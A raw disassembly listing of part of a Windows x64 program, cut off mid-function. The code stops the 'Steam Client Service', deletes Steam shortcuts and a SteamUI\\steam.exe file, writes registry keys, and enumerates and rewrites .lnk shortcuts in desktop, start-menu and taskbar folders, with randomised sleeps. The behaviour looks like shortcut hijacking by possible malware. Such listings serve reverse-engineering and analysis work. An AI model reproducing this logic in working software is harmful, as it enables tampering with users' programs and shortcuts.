140007bd4	0f 11 85 80 04 00 00	MOVUPS xmmword ptr [RBP + local_ed8[0]],XMM0
140007bdb	c7 85 50 04 00 00 70 00 …	MOV dword ptr [RBP + local_f08[0]],0x70
140007be5	0f 11 85 70 04 00 00	MOVUPS xmmword ptr [RBP + local_ee8[0]],XMM0
140007bec	c7 85 80 04 00 00 01 00 …	MOV dword ptr [RBP + local_ed8[0]],0x1
140007bf6	0f 11 85 90 04 00 00	MOVUPS xmmword ptr [RBP + local_ec8[0]],XMM0
140007bfd	0f 11 85 a0 04 00 00	MOVUPS xmmword ptr [RBP + local_eb8[0]],XMM0
140007c04	0f 11 85 b0 04 00 00	MOVUPS xmmword ptr [RBP + local_ea8[0]],XMM0
140007c0b	ff 15 af 77 01 00	CALL qword ptr [PTR_ShellExecuteExW_14001f3c0]
140007c11	85 c0	TEST EAX,EAX
140007c13	74 09	JZ LAB_140007c1e
140007c15	33 c9	XOR ECX,ECX
140007c17	ff 15 63 76 01 00	CALL qword ptr [PTR_ExitProcess_14001f280]
LAB_140007c1e:
140007c1e	48 89 b4 24 68 14 00 00	MOV qword ptr [RSP + local_res10],RSI
140007c26	e8 45 eb ff ff	CALL FUN_140006770	; FUN_140006770: CreateToolhelp32Snapshot, Process32FirstW, GetCurrentProcessId, Process32NextW +1
140007c2b	8b f0	MOV ESI,EAX
140007c2d	85 db	TEST EBX,EBX
140007c2f	0f 84 42 01 00 00	JZ LAB_140007d77
140007c35	85 c0	TEST EAX,EAX
140007c37	0f 84 3a 01 00 00	JZ LAB_140007d77
140007c3d	33 d2	XOR EDX,EDX
140007c3f	c7 85 10 04 00 00 53 00 …	MOV dword ptr [RBP + local_f48],0x740053
140007c49	33 c9	XOR ECX,ECX
140007c4b	c7 85 14 04 00 00 65 00 …	MOV dword ptr [RBP + local_f44],0x610065
140007c55	41 b8 01 00 00 00	MOV R8D,0x1
140007c5b	c7 85 18 04 00 00 6d 00 …	MOV dword ptr [RBP + local_f40],0x20006d
140007c65	c7 85 1c 04 00 00 43 00 …	MOV dword ptr [RBP + local_f3c],0x6c0043
140007c6f	c7 85 20 04 00 00 69 00 …	MOV dword ptr [RBP + local_f38],0x650069
140007c79	c7 85 24 04 00 00 6e 00 …	MOV dword ptr [RBP + local_f34],0x74006e
140007c83	c7 85 28 04 00 00 20 00 …	MOV dword ptr [RBP + local_f30],0x530020
140007c8d	c7 85 2c 04 00 00 65 00 …	MOV dword ptr [RBP + local_f2c],0x720065
140007c97	c7 85 30 04 00 00 76 00 …	MOV dword ptr [RBP + local_f28],0x690076
140007ca1	c7 85 34 04 00 00 63 00 …	MOV dword ptr [RBP + local_f24],0x650063
140007cab	66 44 89 b5 38 04 00 00	MOV word ptr [RBP + local_f20],R14W
140007cb3	ff 15 7f 73 01 00	CALL qword ptr [PTR_OpenSCManagerW_14001f038]
140007cb9	48 8b f0	MOV RSI,RAX
140007cbc	48 85 c0	TEST RAX,RAX
140007cbf	74 65	JZ LAB_140007d26
140007cc1	41 b8 24 00 00 00	MOV R8D,0x24
140007cc7	48 8d 95 10 04 00 00	LEA RDX,[RBP + 0x410]
140007cce	48 8b c8	MOV RCX,RAX
140007cd1	ff 15 91 73 01 00	CALL qword ptr [PTR_OpenServiceW_14001f068]
140007cd7	48 8b f8	MOV RDI,RAX
140007cda	48 85 c0	TEST RAX,RAX
140007cdd	74 3e	JZ LAB_140007d1d
140007cdf	4c 8d 44 24 40	LEA R8,[RSP + 0x40]
140007ce4	ba 01 00 00 00	MOV EDX,0x1
140007ce9	48 8b c8	MOV RCX,RAX
140007cec	ff 15 56 73 01 00	CALL qword ptr [PTR_ControlService_14001f048]
140007cf2	ff 15 90 75 01 00	CALL qword ptr [PTR_GetCurrentProcessId_14001f288]
140007cf8	8b d8	MOV EBX,EAX
140007cfa	ff 15 98 75 01 00	CALL qword ptr [PTR_GetTickCount_14001f298]
140007d00	33 d8	XOR EBX,EAX
140007d02	81 e3 ff 03 00 00	AND EBX,0x3ff
140007d08	8d 8b 90 01 00 00	LEA ECX,[RBX + 0x190]
140007d0e	ff 15 24 75 01 00	CALL qword ptr [PTR_Sleep_14001f238]
140007d14	48 8b cf	MOV RCX,RDI
140007d17	ff 15 13 73 01 00	CALL qword ptr [PTR_CloseServiceHandle_14001f030]
LAB_140007d1d:
140007d1d	48 8b ce	MOV RCX,RSI
140007d20	ff 15 0a 73 01 00	CALL qword ptr [PTR_CloseServiceHandle_14001f030]
LAB_140007d26:
140007d26	41 8b fe	MOV EDI,R14D
140007d29	0f 1f 80 00 00 00 00	NOP dword ptr [RAX]
LAB_140007d30:
140007d30	33 d2	XOR EDX,EDX
140007d32	b9 01 00 00 00	MOV ECX,0x1
140007d37	e8 84 e7 ff ff	CALL FUN_1400064c0	; FUN_1400064c0: CreateToolhelp32Snapshot, Process32FirstW, GetCurrentProcessId, Process32NextW +4
140007d3c	ff 15 46 75 01 00	CALL qword ptr [PTR_GetCurrentProcessId_14001f288]
140007d42	8b d8	MOV EBX,EAX
140007d44	ff 15 4e 75 01 00	CALL qword ptr [PTR_GetTickCount_14001f298]
140007d4a	33 d8	XOR EBX,EAX
140007d4c	81 e3 ff 03 00 00	AND EBX,0x3ff
140007d52	8d 8b 90 01 00 00	LEA ECX,[RBX + 0x190]
140007d58	ff 15 da 74 01 00	CALL qword ptr [PTR_Sleep_14001f238]
140007d5e	e8 0d ea ff ff	CALL FUN_140006770	; FUN_140006770: CreateToolhelp32Snapshot, Process32FirstW, GetCurrentProcessId, Process32NextW +1
140007d63	85 c0	TEST EAX,EAX
140007d65	74 07	JZ LAB_140007d6e
140007d67	ff c7	INC EDI
140007d69	83 ff 0c	CMP EDI,0xc
140007d6c	7c c2	JL LAB_140007d30
LAB_140007d6e:
140007d6e	e8 fd e9 ff ff	CALL FUN_140006770	; FUN_140006770: CreateToolhelp32Snapshot, Process32FirstW, GetCurrentProcessId, Process32NextW +1
140007d73	8b f0	MOV ESI,EAX
140007d75	eb 0a	JMP LAB_140007d81
LAB_140007d77:
140007d77	41 bf 01 00 00 00	MOV R15D,0x1
140007d7d	85 db	TEST EBX,EBX
140007d7f	74 1d	JZ LAB_140007d9e
LAB_140007d81:
140007d81	4c 8d 85 00 0d 00 00	LEA R8,[RBP + 0xd00]
140007d88	48 8d 95 d0 06 00 00	LEA RDX,[RBP + 0x6d0]
140007d8f	48 8d 8d 10 0f 00 00	LEA RCX,[RBP + 0xf10]
140007d96	e8 e5 f8 ff ff	CALL FUN_140007680	; FUN_140007680: GetFileAttributesW, SetFileAttributesW, DeleteFileW
140007d9b	44 8b f8	MOV R15D,EAX
LAB_140007d9e:
140007d9e	4c 8d 85 00 0d 00 00	LEA R8,[RBP + 0xd00]
140007da5	ba 04 01 00 00	MOV EDX,0x104
140007daa	48 8d 8d 20 11 00 00	LEA RCX,[RBP + 0x1120]
140007db1	e8 12 94 00 00	CALL wcscpy_s
140007db6	0f b7 95 20 11 00 00	MOVZX EDX,word ptr [RBP + local_238]
140007dbd	48 8d 8d 20 11 00 00	LEA RCX,[RBP + 0x1120]
140007dc4	66 85 d2	TEST DX,DX
140007dc7	74 1f	JZ LAB_140007de8
140007dc9	0f 1f 80 00 00 00 00	NOP dword ptr [RAX]
LAB_140007dd0:
140007dd0	66 83 fa 5c	CMP DX,0x5c
140007dd4	75 05	JNZ LAB_140007ddb
140007dd6	66 c7 01 2f 00	MOV word ptr [RCX],0x2f
LAB_140007ddb:
140007ddb	0f b7 51 02	MOVZX EDX,word ptr [RCX + local_236]
140007ddf	48 83 c1 02	ADD RCX,0x2
140007de3	66 85 d2	TEST DX,DX
140007de6	75 e8	JNZ LAB_140007dd0
LAB_140007de8:
140007de8	48 8d 85 c0 04 00 00	LEA RAX,[RBP + 0x4c0]
140007def	45 33 c9	XOR R9D,R9D
140007df2	45 33 c0	XOR R8D,R8D
140007df5	48 89 44 24 20	MOV qword ptr [RSP + local_1438],RAX
140007dfa	ba 02 00 00 00	MOV EDX,0x2
140007dff	33 c9	XOR ECX,ECX
140007e01	ff 15 c9 75 01 00	CALL qword ptr [PTR_SHGetFolderPathW_14001f3d0]
140007e07	85 c0	TEST EAX,EAX
140007e09	0f 88 d2 00 00 00	JS LAB_140007ee1
140007e0f	48 8d 85 f0 0a 00 00	LEA RAX,[RBP + 0xaf0]
140007e16	45 33 c9	XOR R9D,R9D
140007e19	45 33 c0	XOR R8D,R8D
140007e1c	48 89 44 24 20	MOV qword ptr [RSP + local_1438],RAX
140007e21	ba 17 00 00 00	MOV EDX,0x17
140007e26	33 c9	XOR ECX,ECX
140007e28	ff 15 a2 75 01 00	CALL qword ptr [PTR_SHGetFolderPathW_14001f3d0]
140007e2e	85 c0	TEST EAX,EAX
140007e30	0f 88 ab 00 00 00	JS LAB_140007ee1
140007e36	4c 8d 05 4b 23 02 00	LEA R8,[u_\Steam\Steam.lnk_14002a188]	; "\\Steam\\Steam.lnk"
140007e3d	ba 04 01 00 00	MOV EDX,0x104
140007e42	48 8d 8d c0 04 00 00	LEA RCX,[RBP + 0x4c0]
140007e49	e8 e2 93 00 00	CALL FUN_140011230	; FUN_140011230: GetLastError, SetLastError
140007e4e	4c 8d 05 33 23 02 00	LEA R8,[u_\Steam\Steam.lnk_14002a188]	; "\\Steam\\Steam.lnk"
140007e55	ba 04 01 00 00	MOV EDX,0x104
140007e5a	48 8d 8d f0 0a 00 00	LEA RCX,[RBP + 0xaf0]
140007e61	e8 ca 93 00 00	CALL FUN_140011230	; FUN_140011230: GetLastError, SetLastError
140007e66	66 44 39 b5 c0 04 00 00	CMP word ptr [RBP + local_e98],R14W
140007e6e	74 71	JZ LAB_140007ee1
140007e70	48 8d 8d c0 04 00 00	LEA RCX,[RBP + 0x4c0]
140007e77	ff 15 9b 73 01 00	CALL qword ptr [PTR_GetFileAttributesW_14001f218]
140007e7d	83 f8 ff	CMP EAX,-0x1
140007e80	74 5f	JZ LAB_140007ee1
140007e82	66 44 39 b5 f0 0a 00 00	CMP word ptr [RBP + local_868],R14W
140007e8a	74 55	JZ LAB_140007ee1
140007e8c	48 8d 8d f0 0a 00 00	LEA RCX,[RBP + 0xaf0]
140007e93	ff 15 7f 73 01 00	CALL qword ptr [PTR_GetFileAttributesW_14001f218]
140007e99	83 f8 ff	CMP EAX,-0x1
140007e9c	74 43	JZ LAB_140007ee1
140007e9e	48 8d 8d c0 04 00 00	LEA RCX,[RBP + 0x4c0]
140007ea5	ff 15 ad 73 01 00	CALL qword ptr [PTR_DeleteFileW_14001f258]
140007eab	85 c0	TEST EAX,EAX
140007ead	74 32	JZ LAB_140007ee1
140007eaf	4c 8d 85 c0 04 00 00	LEA R8,[RBP + 0x4c0]
140007eb6	ba 04 01 00 00	MOV EDX,0x104
140007ebb	48 8d 8d e0 08 00 00	LEA RCX,[RBP + 0x8e0]
140007ec2	e8 01 93 00 00	CALL wcscpy_s
140007ec7	48 8d 8d e0 08 00 00	LEA RCX,[RBP + 0x8e0]
140007ece	ff 15 34 75 01 00	CALL qword ptr [PTR_PathRemoveFileSpecW_14001f408]
140007ed4	48 8d 8d e0 08 00 00	LEA RCX,[RBP + 0x8e0]
140007edb	ff 15 07 73 01 00	CALL qword ptr [PTR_RemoveDirectoryW_14001f1e8]
LAB_140007ee1:
140007ee1	48 8d 85 c0 04 00 00	LEA RAX,[RBP + 0x4c0]
140007ee8	45 33 c9	XOR R9D,R9D
140007eeb	45 33 c0	XOR R8D,R8D
140007eee	48 89 44 24 20	MOV qword ptr [RSP + local_1438],RAX
140007ef3	ba 10 00 00 00	MOV EDX,0x10
140007ef8	33 c9	XOR ECX,ECX
140007efa	ff 15 d0 74 01 00	CALL qword ptr [PTR_SHGetFolderPathW_14001f3d0]
140007f00	85 c0	TEST EAX,EAX
140007f02	0f 88 98 00 00 00	JS LAB_140007fa0
140007f08	48 8d 85 f0 0a 00 00	LEA RAX,[RBP + 0xaf0]
140007f0f	45 33 c9	XOR R9D,R9D
140007f12	45 33 c0	XOR R8D,R8D
140007f15	48 89 44 24 20	MOV qword ptr [RSP + local_1438],RAX
140007f1a	ba 19 00 00 00	MOV EDX,0x19
140007f1f	33 c9	XOR ECX,ECX
140007f21	ff 15 a9 74 01 00	CALL qword ptr [PTR_SHGetFolderPathW_14001f3d0]
140007f27	85 c0	TEST EAX,EAX
140007f29	78 75	JS LAB_140007fa0
140007f2b	4c 8d 05 7e 22 02 00	LEA R8,[u_\Steam.lnk_14002a1b0]	; "\\Steam.lnk"
140007f32	ba 04 01 00 00	MOV EDX,0x104
140007f37	48 8d 8d c0 04 00 00	LEA RCX,[RBP + 0x4c0]
140007f3e	e8 ed 92 00 00	CALL FUN_140011230	; FUN_140011230: GetLastError, SetLastError
140007f43	4c 8d 05 66 22 02 00	LEA R8,[u_\Steam.lnk_14002a1b0]	; "\\Steam.lnk"
140007f4a	ba 04 01 00 00	MOV EDX,0x104
140007f4f	48 8d 8d f0 0a 00 00	LEA RCX,[RBP + 0xaf0]
140007f56	e8 d5 92 00 00	CALL FUN_140011230	; FUN_140011230: GetLastError, SetLastError
140007f5b	66 44 39 b5 c0 04 00 00	CMP word ptr [RBP + local_e98],R14W
140007f63	74 3b	JZ LAB_140007fa0
140007f65	48 8d 8d c0 04 00 00	LEA RCX,[RBP + 0x4c0]
140007f6c	ff 15 a6 72 01 00	CALL qword ptr [PTR_GetFileAttributesW_14001f218]
140007f72	83 f8 ff	CMP EAX,-0x1
140007f75	74 29	JZ LAB_140007fa0
140007f77	66 44 39 b5 f0 0a 00 00	CMP word ptr [RBP + local_868],R14W
140007f7f	74 1f	JZ LAB_140007fa0
140007f81	48 8d 8d f0 0a 00 00	LEA RCX,[RBP + 0xaf0]
140007f88	ff 15 8a 72 01 00	CALL qword ptr [PTR_GetFileAttributesW_14001f218]
140007f8e	83 f8 ff	CMP EAX,-0x1
140007f91	74 0d	JZ LAB_140007fa0
140007f93	48 8d 8d c0 04 00 00	LEA RCX,[RBP + 0x4c0]
140007f9a	ff 15 b8 72 01 00	CALL qword ptr [PTR_DeleteFileW_14001f258]
LAB_140007fa0:
140007fa0	48 8d 85 e0 08 00 00	LEA RAX,[RBP + 0x8e0]
140007fa7	45 33 c9	XOR R9D,R9D
140007faa	45 33 c0	XOR R8D,R8D
140007fad	48 89 44 24 20	MOV qword ptr [RSP + local_1438],RAX
140007fb2	ba 1c 00 00 00	MOV EDX,0x1c
140007fb7	33 c9	XOR ECX,ECX
140007fb9	ff 15 11 74 01 00	CALL qword ptr [PTR_SHGetFolderPathW_14001f3d0]
140007fbf	85 c0	TEST EAX,EAX
140007fc1	78 58	JS LAB_14000801b
140007fc3	4c 8d 8d e0 08 00 00	LEA R9,[RBP + 0x8e0]
140007fca	ba 04 01 00 00	MOV EDX,0x104
140007fcf	4c 8d 05 f2 21 02 00	LEA R8,[u_%s\SteamUI\steam.exe_14002a1c8]	; "%s\\SteamUI\\steam.exe"
140007fd6	48 8d 8d f0 0a 00 00	LEA RCX,[RBP + 0xaf0]
140007fdd	e8 7e bf ff ff	CALL FUN_140003f60	; FUN_140003f60: GetLastError, SetLastError
140007fe2	48 8d 8d f0 0a 00 00	LEA RCX,[RBP + 0xaf0]
140007fe9	ff 15 69 72 01 00	CALL qword ptr [PTR_DeleteFileW_14001f258]
140007fef	4c 8d 8d e0 08 00 00	LEA R9,[RBP + 0x8e0]
140007ff6	ba 04 01 00 00	MOV EDX,0x104
140007ffb	4c 8d 05 f6 21 02 00	LEA R8,[u_%s\SteamUI_14002a1f8]	; "%s\\SteamUI"
140008002	48 8d 8d f0 0a 00 00	LEA RCX,[RBP + 0xaf0]
140008009	e8 52 bf ff ff	CALL FUN_140003f60	; FUN_140003f60: GetLastError, SetLastError
14000800e	48 8d 8d f0 0a 00 00	LEA RCX,[RBP + 0xaf0]
140008015	ff 15 cd 71 01 00	CALL qword ptr [PTR_RemoveDirectoryW_14001f1e8]
LAB_14000801b:
14000801b	4c 8d 85 20 11 00 00	LEA R8,[RBP + 0x1120]
140008022	48 8d 95 00 0d 00 00	LEA RDX,[RBP + 0xd00]
140008029	48 8d 8d d0 06 00 00	LEA RCX,[RBP + 0x6d0]
140008030	e8 3b ed ff ff	CALL FUN_140006d70	; FUN_140006d70: GetCurrentProcessId, GetTickCount, Sleep, RegCreateKeyExW +2
140008035	66 0f 6f 05 c3 24 02 00	MOVDQA XMM0,xmmword ptr [DAT_14002a500]
14000803d	49 8b fe	MOV RDI,R14
140008040	f3 0f 7f 44 24 40	MOVDQU xmmword ptr [RSP + local_1418[0]],XMM0
140008046	c7 44 24 50 07 00 00 00	MOV dword ptr [RSP + local_1408],0x7
14000804e	c7 44 24 54 18 00 00 00	MOV dword ptr [RSP + local_1404],0x18
140008056	66 66 0f 1f 84 00 00 00 …	NOP dword ptr [RAX + RAX*0x1]
LAB_140008060:
140008060	8b 54 bc 40	MOV EDX,dword ptr [RSP + RDI*0x4 + local_1418[4]]
140008064	48 8d 85 f0 0a 00 00	LEA RAX,[RBP + 0xaf0]
14000806b	45 33 c9	XOR R9D,R9D
14000806e	48 89 44 24 20	MOV qword ptr [RSP + local_1438],RAX
140008073	45 33 c0	XOR R8D,R8D
140008076	33 c9	XOR ECX,ECX
140008078	ff 15 52 73 01 00	CALL qword ptr [PTR_SHGetFolderPathW_14001f3d0]
14000807e	85 c0	TEST EAX,EAX
140008080	0f 88 21 01 00 00	JS LAB_1400081a7
140008086	66 44 39 b5 f0 0a 00 00	CMP word ptr [RBP + local_868],R14W
14000808e	0f 84 13 01 00 00	JZ LAB_1400081a7
140008094	4c 8d 8d f0 0a 00 00	LEA R9,[RBP + 0xaf0]
14000809b	ba 04 01 00 00	MOV EDX,0x104
1400080a0	4c 8d 05 31 1f 02 00	LEA R8,[u_%s\*_140029fd8]	; "%s\\*"
1400080a7	48 8d 8d c0 04 00 00	LEA RCX,[RBP + 0x4c0]
1400080ae	e8 ad be ff ff	CALL FUN_140003f60	; FUN_140003f60: GetLastError, SetLastError
1400080b3	48 8d 95 b0 01 00 00	LEA RDX,[RBP + 0x1b0]
1400080ba	48 8d 8d c0 04 00 00	LEA RCX,[RBP + 0x4c0]
1400080c1	ff 15 f9 70 01 00	CALL qword ptr [PTR_FindFirstFileW_14001f1c0]
1400080c7	48 8b d8	MOV RBX,RAX
1400080ca	48 83 f8 ff	CMP RAX,-0x1
1400080ce	0f 84 d3 00 00 00	JZ LAB_1400081a7
1400080d4	0f 1f 40 00	NOP dword ptr [RAX]
1400080d8	0f 1f 84 00 00 00 00 00	NOP dword ptr [RAX + RAX*0x1]
LAB_1400080e0:
1400080e0	66 83 bd dc 01 00 00 2e	CMP word ptr [RBP + local_117c],0x2e
1400080e8	0f 84 98 00 00 00	JZ LAB_140008186
1400080ee	48 8d 85 dc 01 00 00	LEA RAX,[RBP + 0x1dc]
1400080f5	ba 04 01 00 00	MOV EDX,0x104
1400080fa	4c 8d 8d f0 0a 00 00	LEA R9,[RBP + 0xaf0]
140008101	48 89 44 24 20	MOV qword ptr [RSP + local_1438],RAX
140008106	4c 8d 05 db 1e 02 00	LEA R8,[u_%s\%s_140029fe8]	; "%s\\%s"
14000810d	48 8d 8d e0 08 00 00	LEA RCX,[RBP + 0x8e0]
140008114	e8 47 be ff ff	CALL FUN_140003f60	; FUN_140003f60: GetLastError, SetLastError
140008119	f6 85 b0 01 00 00 10	TEST byte ptr [RBP + local_11a8],0x10
140008120	74 2b	JZ LAB_14000814d
140008122	4c 8d 8d d0 06 00 00	LEA R9,[RBP + 0x6d0]
140008129	c7 44 24 20 01 00 00 00	MOV dword ptr [RSP + local_1438],0x1
140008131	4c 8d 85 00 0d 00 00	LEA R8,[RBP + 0xd00]
140008138	48 8d 95 d0 06 00 00	LEA RDX,[RBP + 0x6d0]
14000813f	48 8d 8d e0 08 00 00	LEA RCX,[RBP + 0x8e0]
140008146	e8 d5 f3 ff ff	CALL FUN_140007520	; FUN_140007520: FindFirstFileW, FindNextFileW, FindClose, PathMatchSpecW
14000814b	eb 39	JMP LAB_140008186
LAB_14000814d:
14000814d	48 8d 15 a4 1e 02 00	LEA RDX,[u_*.lnk_140029ff8]	; "*.lnk"
140008154	48 8d 8d dc 01 00 00	LEA RCX,[RBP + 0x1dc]
14000815b	ff 15 8f 72 01 00	CALL qword ptr [PTR_PathMatchSpecW_14001f3f0]
140008161	85 c0	TEST EAX,EAX
140008163	74 21	JZ LAB_140008186
140008165	4c 8d 8d d0 06 00 00	LEA R9,[RBP + 0x6d0]
14000816c	4c 8d 85 00 0d 00 00	LEA R8,[RBP + 0xd00]
140008173	48 8d 95 d0 06 00 00	LEA RDX,[RBP + 0x6d0]
14000817a	48 8d 8d e0 08 00 00	LEA RCX,[RBP + 0x8e0]
140008181	e8 ea f0 ff ff	CALL FUN_140007270	; FUN_140007270: CoCreateInstance, PathFindFileNameW
LAB_140008186:
140008186	48 8d 95 b0 01 00 00	LEA RDX,[RBP + 0x1b0]
14000818d	48 8b cb	MOV RCX,RBX
140008190	ff 15 3a 70 01 00	CALL qword ptr [PTR_FindNextFileW_14001f1d0]
140008196	85 c0	TEST EAX,EAX
140008198	0f 85 42 ff ff ff	JNZ LAB_1400080e0
14000819e	48 8b cb	MOV RCX,RBX
1400081a1	ff 15 59 70 01 00	CALL qword ptr [PTR_FindClose_14001f200]
LAB_1400081a7:
1400081a7	48 ff c7	INC RDI
1400081aa	48 83 ff 06	CMP RDI,0x6
1400081ae	0f 8c ac fe ff ff	JL LAB_140008060
1400081b4	48 8d 85 f0 0a 00 00	LEA RAX,[RBP + 0xaf0]
1400081bb	45 33 c9	XOR R9D,R9D
1400081be	45 33 c0	XOR R8D,R8D
1400081c1	48 89 44 24 20	MOV qword ptr [RSP + local_1438],RAX
1400081c6	ba 1a 00 00 00	MOV EDX,0x1a
1400081cb	33 c9	XOR ECX,ECX
1400081cd	ff 15 fd 71 01 00	CALL qword ptr [PTR_SHGetFolderPathW_14001f3d0]
1400081d3	85 c0	TEST EAX,EAX
1400081d5	0f 88 bf 03 00 00	JS LAB_14000859a
1400081db	4c 8d 85 f0 0a 00 00	LEA R8,[RBP + 0xaf0]
1400081e2	ba 04 01 00 00	MOV EDX,0x104
1400081e7	48 8d 8d c0 04 00 00	LEA RCX,[RBP + 0x4c0]
1400081ee	e8 d5 8f 00 00	CALL wcscpy_s
1400081f3	4c 8d 05 16 1e 02 00	LEA R8,[u_\Microsoft\Internet_Explorer\Qui_14002a010]	; "\\Microsoft\\Internet Explorer\\Quick Launch"
1400081fa	ba 04 01 00 00	MOV EDX,0x104
1400081ff	48 8d 8d c0 04 00 00	LEA RCX,[RBP + 0x4c0]
140008206	e8 25 90 00 00	CALL FUN_140011230	; FUN_140011230: GetLastError, SetLastError
14000820b	66 44 39 b5 c0 04 00 00	CMP word ptr [RBP + local_e98],R14W
140008213	0f 84 01 01 00 00	JZ LAB_14000831a
140008219	4c 8d 8d c0 04 00 00	LEA R9,[RBP + 0x4c0]
140008220	ba 04 01 00 00	MOV EDX,0x104
140008225	4c 8d 05 ac 1d 02 00	LEA R8,[u_%s\*_140029fd8]	; "%s\\*"
14000822c	48 8d 8d b0 01 00 00	LEA RCX,[RBP + 0x1b0]
140008233	e8 28 bd ff ff	CALL FUN_140003f60	; FUN_140003f60: GetLastError, SetLastError
140008238	48 8d 54 24 60	LEA RDX,[RSP + 0x60]
14000823d	48 8d 8d b0 01 00 00	LEA RCX,[RBP + 0x1b0]
140008244	ff 15 76 6f 01 00	CALL qword ptr [PTR_FindFirstFileW_14001f1c0]
14000824a	48 8b d8	MOV RBX,RAX
14000824d	48 83 f8 ff	CMP RAX,-0x1
140008251	0f 84 c3 00 00 00	JZ LAB_14000831a
140008257	66 0f 1f 84 00 00 00 00 …	NOP word ptr [RAX + RAX*0x1]
LAB_140008260:
140008260	66 83 7d 8c 2e	CMP word ptr [RBP + local_13cc],0x2e
140008265	0f 84 90 00 00 00	JZ LAB_1400082fb
14000826b	48 8d 45 8c	LEA RAX,[RBP + -0x74]
14000826f	ba 04 01 00 00	MOV EDX,0x104
140008274	4c 8d 8d c0 04 00 00	LEA R9,[RBP + 0x4c0]
14000827b	48 89 44 24 20	MOV qword ptr [RSP + local_1438],RAX
140008280	4c 8d 05 61 1d 02 00	LEA R8,[u_%s\%s_140029fe8]	; "%s\\%s"
140008287	48 8d 8d e0 08 00 00	LEA RCX,[RBP + 0x8e0]
14000828e	e8 cd bc ff ff	CALL FUN_140003f60	; FUN_140003f60: GetLastError, SetLastError
140008293	f6 44 24 60 10	TEST byte ptr [RSP + local_13f8],0x10
140008298	74 2b	JZ LAB_1400082c5
14000829a	4c 8d 8d d0 06 00 00	LEA R9,[RBP + 0x6d0]
1400082a1	c7 44 24 20 01 00 00 00	MOV dword ptr [RSP + local_1438],0x1
1400082a9	4c 8d 85 00 0d 00 00	LEA R8,[RBP + 0xd00]
1400082b0	48 8d 95 d0 06 00 00	LEA RDX,[RBP + 0x6d0]
1400082b7	48 8d 8d e0 08 00 00	LEA RCX,[RBP + 0x8e0]
1400082be	e8 5d f2 ff ff	CALL FUN_140007520	; FUN_140007520: FindFirstFileW, FindNextFileW, FindClose, PathMatchSpecW
1400082c3	eb 36	JMP LAB_1400082fb
LAB_1400082c5:
1400082c5	48 8d 15 2c 1d 02 00	LEA RDX,[u_*.lnk_140029ff8]	; "*.lnk"
1400082cc	48 8d 4d 8c	LEA RCX,[RBP + -0x74]
1400082d0	ff 15 1a 71 01 00	CALL qword ptr [PTR_PathMatchSpecW_14001f3f0]
1400082d6	85 c0	TEST EAX,EAX
1400082d8	74 21	JZ LAB_1400082fb
1400082da	4c 8d 8d d0 06 00 00	LEA R9,[RBP + 0x6d0]
1400082e1	4c 8d 85 00 0d 00 00	LEA R8,[RBP + 0xd00]
1400082e8	48 8d 95 d0 06 00 00	LEA RDX,[RBP + 0x6d0]
1400082ef	48 8d 8d e0 08 00 00	LEA RCX,[RBP + 0x8e0]
1400082f6	e8 75 ef ff ff	CALL FUN_140007270	; FUN_140007270: CoCreateInstance, PathFindFileNameW
LAB_1400082fb:
1400082fb	48 8d 54 24 60	LEA RDX,[RSP + 0x60]
140008300	48 8b cb	MOV RCX,RBX
140008303	ff 15 c7 6e 01 00	CALL qword ptr [PTR_FindNextFileW_14001f1d0]
140008309	85 c0	TEST EAX,EAX
14000830b	0f 85 4f ff ff ff	JNZ LAB_140008260
140008311	48 8b cb	MOV RCX,RBX
140008314	ff 15 e6 6e 01 00	CALL qword ptr [PTR_FindClose_14001f200]
LAB_14000831a:
14000831a	4c 8d 85 f0 0a 00 00	LEA R8,[RBP + 0xaf0]
140008321	ba 04 01 00 00	MOV EDX,0x104
140008326	48 8d 8d c0 04 00 00	LEA RCX,[RBP + 0x4c0]
14000832d	e8 96 8e 00 00	CALL wcscpy_s
140008332	4c 8d 05 37 1d 02 00	LEA R8,[u_\Microsoft\Internet_Explorer\Qui_14002a070]	; "\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar"
140008339	ba 04 01 00 00	MOV EDX,0x104
14000833e	48 8d 8d c0 04 00 00	LEA RCX,[RBP + 0x4c0]
140008345	e8 e6 8e 00 00	CALL FUN_140011230	; FUN_140011230: GetLastError, SetLastError
14000834a	66 44 39 b5 c0 04 00 00	CMP word ptr [RBP + local_e98],R14W
140008352	0f 84 02 01 00 00	JZ LAB_14000845a
140008358	4c 8d 8d c0 04 00 00	LEA R9,[RBP + 0x4c0]
14000835f	ba 04 01 00 00	MOV EDX,0x104
140008364	4c 8d 05 6d 1c 02 00	LEA R8,[u_%s\*_140029fd8]	; "%s\\*"
14000836b	48 8d 8d b0 01 00 00	LEA RCX,[RBP + 0x1b0]
140008372	e8 e9 bb ff ff	CALL FUN_140003f60	; FUN_140003f60: GetLastError, SetLastError
140008377	48 8d 54 24 60	LEA RDX,[RSP + 0x60]
14000837c	48 8d 8d b0 01 00 00	LEA RCX,[RBP + 0x1b0]
140008383	ff 15 37 6e 01 00	CALL qword ptr [PTR_FindFirstFileW_14001f1c0]
140008389	48 8b d8	MOV RBX,RAX
14000838c	48 83 f8 ff	CMP RAX,-0x1
140008390	0f 84 c4 00 00 00	JZ LAB_14000845a
140008396	66 66 0f 1f 84 00 00 00 …	NOP dword ptr [RAX + RAX*0x1]
LAB_1400083a0:
1400083a0	66 83 7d 8c 2e	CMP word ptr [RBP + local_13cc],0x2e
1400083a5	0f 84 90 00 00 00	JZ LAB_14000843b
1400083ab	48 8d 45 8c	LEA RAX,[RBP + -0x74]
1400083af	ba 04 01 00 00	MOV EDX,0x104
1400083b4	4c 8d 8d c0 04 00 00	LEA R9,[RBP + 0x4c0]
1400083bb	48 89 44 24 20	MOV qword ptr [RSP + local_1438],RAX
1400083c0	4c 8d 05 21 1c 02 00	LEA R8,[u_%s\%s_140029fe8]	; "%s\\%s"
1400083c7	48 8d 8d e0 08 00 00	LEA RCX,[RBP + 0x8e0]
1400083ce	e8 8d bb ff ff	CALL FUN_140003f60	; FUN_140003f60: GetLastError, SetLastError
1400083d3	f6 44 24 60 10	TEST byte ptr [RSP + local_13f8],0x10
1400083d8	74 2b	JZ LAB_140008405
1400083da	4c 8d 8d d0 06 00 00	LEA R9,[RBP + 0x6d0]
1400083e1	c7 44 24 20 01 00 00 00	MOV dword ptr [RSP + local_1438],0x1
1400083e9	4c 8d 85 00 0d 00 00	LEA R8,[RBP + 0xd00]
1400083f0	48 8d 95 d0 06 00 00	LEA RDX,[RBP + 0x6d0]
1400083f7	48 8d 8d e0 08 00 00	LEA RCX,[RBP + 0x8e0]
1400083fe	e8 1d f1 ff ff	CALL FUN_140007520	; FUN_140007520: FindFirstFileW, FindNextFileW, FindClose, PathMatchSpecW
140008403	eb 36	JMP LAB_14000843b
LAB_140008405:
